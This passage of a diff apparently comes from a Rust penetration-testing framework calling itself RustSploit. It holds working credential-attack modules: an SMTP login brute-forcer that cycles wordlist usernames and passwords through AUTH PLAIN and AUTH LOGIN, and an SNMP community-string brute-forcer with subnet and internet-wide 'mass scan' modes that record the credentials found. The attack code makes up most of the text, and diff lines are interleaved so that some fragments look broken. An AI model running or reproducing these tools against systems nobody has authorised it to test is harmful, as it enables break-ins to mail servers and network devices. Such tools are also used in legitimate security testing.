message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port = cfg_prompt_int_range("port", "Port", 25, 1, 65535).await? as u16;
|
||||
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 8, 1, 256).await? as usize;
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Try every username with every password?", false).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "smtp_results.txt").await?;
|
||||
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
let passwords = load_lines(&password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
|
||||
}
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
|
||||
let try_login = move |target: String, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&target, port, &user, &pass)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
concurrency: threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
output_file,
|
||||
delay_ms,
|
||||
};
|
||||
max_retries: 2,
|
||||
service_name: "smtp",
|
||||
source_module: "creds/generic/smtp_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
println!();
|
||||
run_smtp_bruteforce(config).await
|
||||
}
|
||||
|
||||
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
|
||||
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
println!("[*] Total attempts: {}", total_attempts);
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let found_creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let _start_time = std::time::Instant::now();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate combinations
|
||||
let mut combos = Vec::new();
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Process combinations
|
||||
for (user, pass) in combos {
|
||||
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let config_clone = config.clone();
|
||||
let stats_clone = stats.clone();
|
||||
let found_clone = found_creds.clone();
|
||||
let stop_signal_clone = stop_signal.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Wrap blocking logic
|
||||
let config_inner = config_clone.clone();
|
||||
let user_inner = user_clone.clone();
|
||||
let pass_inner = pass_clone.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) {
|
||||
Ok(true) => Ok(true),
|
||||
Ok(false) => Ok(false),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_success();
|
||||
if config_clone.stop_on_success {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
},
|
||||
Ok(Ok(false)) => {
|
||||
stats_clone.record_failure();
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed());
|
||||
}
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red());
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
stats_clone.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if config_clone.delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
|
||||
}
|
||||
}));
|
||||
|
||||
// Memory management: drain completed tasks
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
|
||||
}
|
||||
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let found = found_creds.lock().await;
|
||||
if !found.is_empty() {
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
|
||||
use std::io::Write;
|
||||
for (u, p) in found.iter() {
|
||||
let _ = writeln!(file, "{}:{}", u, p);
|
||||
}
|
||||
println!("[+] Results saved to {}", config.output_file);
|
||||
}
|
||||
}
|
||||
result.print_found();
|
||||
result.save_to_file(&output_file)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Read a single SMTP response line (terminated by \n).
|
||||
/// Returns the trimmed line or an error on timeout / EOF.
|
||||
fn read_smtp_line(reader: &mut BufReader<&TcpStream>) -> Result<String> {
|
||||
let mut line = String::new();
|
||||
let n = reader.read_line(&mut line).context("SMTP read")?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Connection closed"));
|
||||
}
|
||||
Ok(line.trim_end().to_string())
|
||||
}
|
||||
|
||||
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket, Duration::from_millis(2000))?;
|
||||
let _ = stream.set_nodelay(true);
|
||||
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
|
||||
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 512);
|
||||
|
||||
let mut banner_ok = false;
|
||||
for _ in 0..3 {
|
||||
let event = telnet.read().context("Banner read")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("220") { banner_ok = true; break; }
|
||||
}
|
||||
|
||||
let mut reader = BufReader::new(&stream);
|
||||
// We write via a reference to the same stream (TcpStream is duplex)
|
||||
let mut writer = &stream;
|
||||
|
||||
// Read banner — expect 220
|
||||
let banner = read_smtp_line(&mut reader).context("Banner read")?;
|
||||
if !banner.starts_with("220") {
|
||||
return Err(anyhow!("No 220 banner"));
|
||||
}
|
||||
if !banner_ok { return Err(anyhow!("No 220 banner")); }
|
||||
|
||||
telnet.write(b"EHLO scanner\r\n")?;
|
||||
|
||||
|
||||
// Send EHLO
|
||||
writer.write_all(b"EHLO scanner\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
let mut login_ok = false;
|
||||
let mut plain_ok = false;
|
||||
let mut ehlo_seen = false;
|
||||
|
||||
for _ in 0..6 {
|
||||
let event = telnet.read().context("EHLO read")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
|
||||
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
|
||||
if s.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
}
|
||||
|
||||
// Read multi-line EHLO response (250-... continues, 250 ... ends)
|
||||
for _ in 0..10 {
|
||||
let line = read_smtp_line(&mut reader).context("EHLO read")?;
|
||||
if line.contains("AUTH") && line.contains("PLAIN") { plain_ok = true; }
|
||||
if line.contains("AUTH") && line.contains("LOGIN") { login_ok = true; }
|
||||
// "250 " (with space) is the final line of the EHLO response
|
||||
if line.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
// If the line doesn't start with 250 at all, something is wrong
|
||||
if !line.starts_with("250") { break; }
|
||||
}
|
||||
if !ehlo_seen { return Ok(false); }
|
||||
|
||||
// Try AUTH PLAIN
|
||||
if plain_ok {
|
||||
let mut blob = vec![0];
|
||||
let mut blob = vec![0u8];
|
||||
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
|
||||
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
|
||||
telnet.write(cmd.as_bytes())?;
|
||||
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth response")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
writer.write_all(cmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
let resp = read_smtp_line(&mut reader).context("Auth response")?;
|
||||
if resp.starts_with("235") {
|
||||
let _ = writer.write_all(b"QUIT\r\n");
|
||||
return Ok(true);
|
||||
}
|
||||
if resp.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
|
||||
|
||||
// Try AUTH LOGIN
|
||||
if login_ok {
|
||||
telnet.write(b"AUTH LOGIN\r\n")?;
|
||||
|
||||
writer.write_all(b"AUTH LOGIN\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
// Wait for username prompt (334)
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth Login prompt")?;
|
||||
if let Event::Data(b) = event {
|
||||
if String::from_utf8_lossy(&b).starts_with("334") { break; }
|
||||
}
|
||||
}
|
||||
|
||||
let prompt1 = read_smtp_line(&mut reader).context("Auth Login prompt")?;
|
||||
if !prompt1.starts_with("334") { return Ok(false); }
|
||||
|
||||
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
|
||||
telnet.write(ucmd.as_bytes())?;
|
||||
|
||||
writer.write_all(ucmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
// Wait for password prompt (334)
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth Pass prompt")?;
|
||||
if let Event::Data(b) = event {
|
||||
if String::from_utf8_lossy(&b).starts_with("334") { break; }
|
||||
}
|
||||
}
|
||||
|
||||
let prompt2 = read_smtp_line(&mut reader).context("Auth Pass prompt")?;
|
||||
if !prompt2.starts_with("334") { return Ok(false); }
|
||||
|
||||
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
|
||||
telnet.write(pcmd.as_bytes())?;
|
||||
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth final response")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
writer.write_all(pcmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
let resp = read_smtp_line(&mut reader).context("Auth final response")?;
|
||||
if resp.starts_with("235") {
|
||||
let _ = writer.write_all(b"QUIT\r\n");
|
||||
return Ok(true);
|
||||
}
|
||||
if resp.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,173 +1,230 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
io::Write,
|
||||
net::{SocketAddr, UdpSocket},
|
||||
net::{IpAddr, SocketAddr},
|
||||
sync::Arc,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use tokio::task::spawn_blocking;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default, normalize_target,
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, load_lines, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SNMP Brute Force".to_string(),
|
||||
description: "Brute-force SNMPv1/v2c community strings. Discovers read/write community strings on network devices with concurrent scanning and subnet/mass scan support.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt for SNMP version, returning 0 for v1 or 1 for v2c.
|
||||
async fn prompt_snmp_version() -> Result<u8> {
|
||||
loop {
|
||||
let input = cfg_prompt_default("snmp_version", "SNMP Version (1 or 2c)", "2c").await?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => return Ok(0),
|
||||
"2c" | "2" => return Ok(1),
|
||||
_ => crate::mprintln!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Format SNMP version byte as a display string.
|
||||
fn version_label(v: u8) -> &'static str {
|
||||
if v == 0 {
|
||||
"v1"
|
||||
} else {
|
||||
"v2c"
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
|
||||
println!("{}", " Community String Discovery Tool".cyan());
|
||||
println!();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
"=== SNMPv1/v2c Brute Force Module ===".bold().cyan()
|
||||
);
|
||||
crate::mprintln!("{}", " Community String Discovery Tool".cyan());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let default_port = 161;
|
||||
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
let communities_file = prompt_existing_file("Community string wordlist file path").await?;
|
||||
|
||||
// Custom prompt for version since it's specific
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0, // SNMPv1
|
||||
"2c" | "2" => break 1, // SNMPv2c
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
// --- Mass scan mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist").await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let communities = Arc::new(load_lines(&communities_file)?);
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist cannot be empty"));
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000).await? as usize;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
|
||||
// Output file handled by saving results at the end usually, but old code asked upfront.
|
||||
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
|
||||
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
|
||||
let output_file = prompt_default("Output file", "snmp_results.txt").await?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
|
||||
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
|
||||
let cfg = MassScanConfig {
|
||||
protocol_name: "SNMP",
|
||||
default_port: 161,
|
||||
state_file: "snmp_hose_state.log",
|
||||
default_output: "snmp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
};
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
return run_mass_scan(target, cfg, move |ip: IpAddr, port: u16| {
|
||||
let communities = communities.clone();
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
for community in communities.iter() {
|
||||
match try_snmp_community(&addr, community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}\n", now, ip, community);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] FOUND: {} -> community: '{}'", addr, community)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
return Some(line);
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(_) => return None,
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
})
|
||||
.await;
|
||||
}
|
||||
|
||||
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
|
||||
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
|
||||
// --- Subnet scan mode (SNMP-specific, UDP — no TCP pre-check) ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
return run_subnet_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Single-target bruteforce via the generic engine ---
|
||||
|
||||
let port = cfg_prompt_port("port", "SNMP Port", 161).await?;
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist file path")
|
||||
.await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 50, 1, 1000).await? as usize;
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let output_file =
|
||||
cfg_prompt_output_file("output_file", "Output file", "snmp_results.txt").await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
|
||||
let norm_target = normalize_target(target)?;
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
println!("[!] Community wordlist is empty. Exiting.");
|
||||
crate::mprintln!("[!] Community wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
|
||||
println!();
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} community strings", communities.len()).cyan()
|
||||
);
|
||||
crate::mprintln!("[*] SNMP Version: {}", version_label(snmp_version));
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let _start_time = Instant::now();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
// Build combos: empty username, community string as password.
|
||||
let empty_users = vec![String::new()];
|
||||
let combos = generate_combos(&empty_users, &communities, true);
|
||||
|
||||
let communities = Arc::new(communities);
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let config = BruteforceConfig {
|
||||
target: norm_target.clone(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 10,
|
||||
max_retries: 2,
|
||||
service_name: "snmp",
|
||||
source_module: "creds/generic/snmp_bruteforce",
|
||||
};
|
||||
|
||||
for community in communities.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let addr_clone = connect_addr.clone();
|
||||
let community_clone = community.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let version = snmp_version;
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), community_clone.clone()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
// The try_login closure adapts SNMP community-string testing to the
|
||||
// engine's (target, port, user, password) interface. On success it
|
||||
// stores the credential with CredType::Key (SNMP community strings
|
||||
// are keys, not passwords). The engine also stores with
|
||||
// CredType::Password — a harmless duplicate that keeps the generic
|
||||
// engine simple.
|
||||
let result = run_bruteforce(
|
||||
&config,
|
||||
combos,
|
||||
move |target: String, port: u16, _user: String, community: String| {
|
||||
let timeout = timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
match try_snmp_community(&addr, &community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
// Store with CredType::Key for SNMP semantics
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&target,
|
||||
port,
|
||||
"snmp",
|
||||
"",
|
||||
&community,
|
||||
crate::cred_store::CredType::Key,
|
||||
"creds/generic/snmp_bruteforce",
|
||||
)
|
||||
.await;
|
||||
LoginResult::Success
|
||||
}
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await?;
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Drain
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
|
||||
}
|
||||
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No valid community strings found.".yellow());
|
||||
// Print results — adapt the engine's generic output for SNMP display
|
||||
if result.found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid community strings found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
|
||||
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) {
|
||||
for (host, community) in creds.iter() {
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] Found {} valid community string(s):",
|
||||
result.found.len()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&output_file)
|
||||
{
|
||||
for (host, _user, community) in &result.found {
|
||||
crate::mprintln!(" {} -> community: '{}'", host, community);
|
||||
let _ = writeln!(file, "{} -> community: '{}'", host, community);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", output_file);
|
||||
crate::mprintln!("[+] Results saved to '{}'", output_file);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -177,7 +234,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
async fn try_snmp_community(
|
||||
normalized_addr: &str,
|
||||
community: &str,
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let community_owned = community.to_string();
|
||||
@@ -190,9 +247,9 @@ async fn try_snmp_community(
|
||||
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
|
||||
|
||||
// Create UDP socket
|
||||
let socket = UdpSocket::bind("0.0.0.0:0")
|
||||
let socket = crate::utils::blocking_udp_bind(None)
|
||||
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
|
||||
|
||||
|
||||
socket
|
||||
.set_read_timeout(Some(timeout))
|
||||
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
|
||||
@@ -211,7 +268,7 @@ async fn try_snmp_community(
|
||||
let result: bool = match socket.recv_from(&mut buf) {
|
||||
Ok((size, _)) => {
|
||||
let response = &buf[..size];
|
||||
|
||||
|
||||
// Parse SNMP response to verify it's valid
|
||||
// A valid SNMP response should:
|
||||
// 1. Start with 0x30 (SEQUENCE)
|
||||
@@ -221,12 +278,11 @@ async fn try_snmp_community(
|
||||
// Try to parse the response to check error status
|
||||
// If we can parse it and error status is 0, it's valid
|
||||
match parse_snmp_response(response) {
|
||||
Ok(true) => true, // Valid community string
|
||||
Ok(true) => true, // Valid community string
|
||||
Ok(false) => false, // Invalid community (error in response)
|
||||
Err(_) => {
|
||||
// Can't parse, but got a response - might be valid
|
||||
// Some devices send malformed responses but still indicate valid community
|
||||
true
|
||||
// Can't parse response — treat as invalid to avoid false positives
|
||||
false
|
||||
}
|
||||
}
|
||||
} else {
|
||||
@@ -238,10 +294,11 @@ async fn try_snmp_community(
|
||||
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
|
||||
// EAGAIN (os error 11) can occur on Linux when socket would block
